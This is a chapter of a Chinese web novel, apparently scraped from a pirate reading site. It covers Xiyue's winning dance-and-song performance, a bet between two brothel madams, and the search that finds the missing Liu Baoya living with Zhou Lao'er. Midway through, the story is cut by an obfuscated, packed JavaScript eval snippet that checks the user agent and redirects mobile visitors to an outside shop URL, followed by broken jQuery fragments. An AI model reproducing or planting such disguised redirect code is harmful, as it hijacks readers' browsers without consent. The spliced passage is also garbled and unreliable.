舒夫人一上场,台下哗然一片,纷纷交头接耳,尤其是年轻的公子哥们,眼睛都看直了。
无他,是舒夫人的着装过于暴露了。
纤细的腰身被薄薄的细纱轻覆,舞动时,若隐若现,那眼波里流转的楚楚动人,让人恨不得把她搂进怀里疼惜。
不可否认的是,曦月确实少了舒夫人刻进骨子里的媚意。
柔美悠扬的琴音下。
是舞步轻盈,长裙飘逸,恍若林间翩飞的斑斓彩蝶,美到极致,暗里却藏着致命的伤害。
蔡妈妈无意间提起过,以前有皇商看上了舒夫人,一掷千金为她赎了身,结果带回家后,短短三个月,原本和睦的家变得四分五裂,被迷住的皇商休妻弃子,也要把舒夫人留下。
可惜好景不长,皇商因为一批货出了差池,得罪了天子,大难之际舒夫人不仅卷财出走,还把皇商的阴私卖于对家,以获得庇护。
这骚操作听得乔安一愣一愣。
不知不觉间,舞曲到了尾声。
舒夫人把方巾抛于台下,霎时间引发了一阵哄抢,看到此情景,万花楼的东家挑衅地看向蔡妈妈,没想到她脸上没有一丝惊慌,犹如稳操胜券。
还露出一副好戏才刚刚开始的表情,让人摸不着头脑。
你方唱罢我登场。
在看客沉浸在舒夫人的美色之时,曦月踩着大鼓上台,轻启歌喉。
“铁骑在四方,不惧风雨交加,江山如此大,生死何惧怕……”
清亮嗓音中,藏着对军士远赴边关不惧生死的敬佩之意,缓缓落下的鼓声,把战前肃穆的气氛展现在眼前。
一下子拽住了在场之人的心绪。
随着战事推进,鼓点密集紧凑,旋转跳跃的红色身影,仿佛置身于金戈铁马之中,杀声四起,悲鸣的曲调里,是离别,是愁绪。
“赤月为谁哀,山河白了发……火树银花夜,四海生平乐,这盛世天下,终如卿所盼。”
曲停了。
当最后一声鼓点也落下,全场寂然无声。
过了许久,不知道是谁,唤出一声“好!”
乔安惊觉自己看得入了迷。
随即放眼四周,几乎所有人都把目光投向舞台那个小小的身影,随之掌声如雷鸣般响起。
曦月鞠躬谢礼后,才退下。
练舞的时候根本没有唱曲这一出,也不知是她临时起意还是蓄意而为,不可置否,效果出乎意料的好。
谁输谁赢,早就毫无悬念。
蔡妈妈笑得眯起了双眼,对着身旁一脸铁青的人说道:“诶曦月虽是个黄毛丫头,但是却比某些人强多了,万妈妈你说是吧。”
对方气得拂袖而去。
可惜蔡妈妈不愿放过,快步走在前头,“你该不会玩不起,把赌注忘了吧,咱们当时可是白纸黑字写了,谁输了这半年就把房契给对方。”她直接摊开了手,“别想着骗我没带在身上,认识你这么多年了,你是人是鬼我还不了解吗?”
在两人争执拌嘴时,乔安把摊位交给了小秋看护,方才瞧见了曦月脸色不对劲,便想着回邀月楼一趟。
推开房门。
只见曦月独自一人坐在梳妆台前,眼神放空,连自己站在身边都没有反应过来。
“在想什么?”乔安话一说出口,就觉得不妥当,好像要打听曦月的秘密似的,只好转移话题,“你刚刚可能没留意台下的客人,大家全都被你的歌舞迷住了。”
曦月缓过神来,照着镜子,抚着发把珠钗放下,自言自语道:“是吗?”
她擦去了妆容,素面朝天,双手捂着脸蛋,把所有情绪都藏了起来后,仔细端详着镜里的自己,微微扯开嘴角,眼里恢复了往日的张扬,才回过头看着乔安,“那咱们出去庆祝一下吧,整天待在楼里,实在是憋得慌,正好你也在,就给本姑娘当护花使者吧。”
没等乔安回应,就挽上她的手臂,出了点力就把人拉了出去。
街上,人来人往。
县上的摊贩消息灵通,早早就托关系租下了邀月楼和万花楼沿街的位置,果不其然,今日客流量足足比平日多了七八倍。
每路过一个摊位,都有商贩热情洋溢地吆喝,尤其是卖吃食的摊子,停留了不少客人,闻着空气里的充斥着各种各样的美食香气,两人食指大动。
对视一眼后,不约而同挤进了人群里。
“来五十份烤串,素的荤的都要”
“得嘞,姑娘稍等。”
乔安调侃道,“你这是准备要把摊位包圆了吗?真没瞧出来,你食量这么大。”
手臂突然被捏了一下。
看着旁边这人干完坏事,还理直气壮,乔安眉头微微上扬,“蔡妈妈来了。”
啊!曦月顿时紧张四处张望,结果耳边传来一声轻笑,她才反应过来自己被戏耍了。
准备还击的时候,乔安已经偷溜出去,曦月抬脚要跟上时,被摊贩喊住,“姑娘还没给钱了呢”,手上不断给烤串翻面,“都快好了。”
曦月只能跺了下脚等着。
~
边走边吃着香辣可口的肉串,等咽下去,曦月勉为其难地说道:“别以为付钱了,我就会消气,接下来还要看你表现好不好,咱们就在外头逛一整天吧。”
乔安:“那不行。”
看着曦月眼都瞪圆了,不敢置信自己居然敢拒绝她,便开口解释:“来贺州前接到了寻人的委托,原本查探过以为人已经不在了,谁成想今天在邀月楼里却撞上了,就是那个刘宝丫,他爹找了几年也没找到。”
还把一路上寻人的经过娓娓道来,听到周老大夫妇跟李员外合伙绑人时,曦月气得破口直骂,“什么人啊,为了钱连弟媳也出卖。”
挑起了好奇心,曦月也想跟着一探究竟。
从主街上绕过南边几条巷子,就是西衣巷了,这里之所以叫西衣巷,并不是因为建在西边,而是整条巷子的人都以帮大户人家洗衣为生计,古代以西为尊,才如此取名。
走惯了有缘客栈那九曲十八弯的巷子小路,乔安对西衣巷窄小凹凸不平的路,倒是适应良好,大部分人家门口都挂着孩童的衣物,要不就是堆放了杂物,有些地方甚至需要侧着身子才能通过。
这会正是洗衣妇忙活的时候,冷不丁就会泼出几盆脏水,这还不是让曦月最崩溃的事。
光天化日之下,不知道哪里蹿出三两只毛耗子,吓得她尖叫几声,心里有些后悔跟过来了。
紧紧贴在乔安身后。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992960|130910||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
问了好几个住户,终于找到了刘宝丫的家。
敲开了门。
迎面的不是刘宝丫,而是拄着拐杖的男子,乔安上下打量了几眼,此人正是周老二。
“你是岳父找来的人吧?”周老二有些犹豫不决,早上宝丫回家后,已经把有人从平州过来寻她的消息跟自己交代了一遍。
那会他就料到自己做的事,瞒不下去了。
费劲地侧过身子,让出位置请乔安两人进正房里。
这间屋子非常小,只有小灶房和正房,四周拥挤逼仄,幸亏周老二经常收拾打扫,才让这里看上去没那么糟糕。
乔安不想跟他绕圈子,反正到最后自己一定会把人带走,便直接开门见山,“好几年里宝丫明明没死,你们怎么不回家,也不报一声平安,反而隐姓埋名留在贺州?”
当时意识到不对,赶回家的周老二真的以为宝丫走了,毕竟人都没气了,发泄一通后,拽着周老大找李员外算账,却被他的护卫打断了腿。周老大两人犯了大错,不反思,反而劝着他骗刘铁三寄些钱,最好人也能骗来,一不做二不休,把人给做了。
他心里满是厌恶,可惜势单力薄,只能假意答应,夜里下了迷药把两人都绑住了,一起带到郊外,正挖着土,想要埋葬妻子,中途隐约听到宝丫虚弱的叫声,以及周老大惊恐挣扎的声音。
得老天爷眷顾,宝丫平安无事。
他喜极而泣地抱着人痛哭,而后才发现她连自己是谁都不记得了,可能是出于亲切感,宝丫没有排斥自己。
理智回笼后。
周老二的目光转而投向自家大哥大嫂,因为担心他们再次向李员外传消息,纠结好久,才下定决定举起利器准备痛下杀手,宝丫见状劝住了自己。
最后只好把两人卖给了人贩子,是死是活就听天由命了吧。
……
知道事情的来龙去脉,乔安都没开口,曦月就一脸怒火地骂人,“也就是说你害怕刘铁三嫌弃你,于是自作主张隐瞒了宝丫她有亲人的真相,这几年陪着你吃糟糠过苦日子,你知不知道她爹有多担心,只因为你的一己之私,就让他下半辈子都过得生不如死。”
人世间最大的痛苦莫过于生离,死别。
看着反应激烈的曦月,乔安心里也被触动,那段记忆再次浮现在脑海里。
躲在墙后的宝丫也忍不住走了出来,“周郎,你们说的不是真的对吧?”
她光是听到,就觉得窒息。
周老二羞愧地低下了头,选择默认一切。
一看夫君的表情,同床共枕多年,刘宝丫怎会不明白,她立马跑到他面前,狠狠地在他身上发泄,直到他跌倒在地,脸色惨白。
刘宝丫终究是心有不忍,况且如今她根本没有恢复记忆,对夫君的疼惜超过了被骗的愤怒,慌忙蹲下身子关心周老二。
看到此景,曦月正想向前劝醒她,却被乔安拉住,然后摇了摇头。
留下一句“过几天我们一起回安县”,就带着曦月走出了周家。
路上,曦月吃了一肚子火,还不待发作,乔安无缘无故说起别的话题,一下子让她泄了气,“你要不要来安县住段时间,你这么爱吃,我娘做的烧饼肯定会喜欢的,还有……”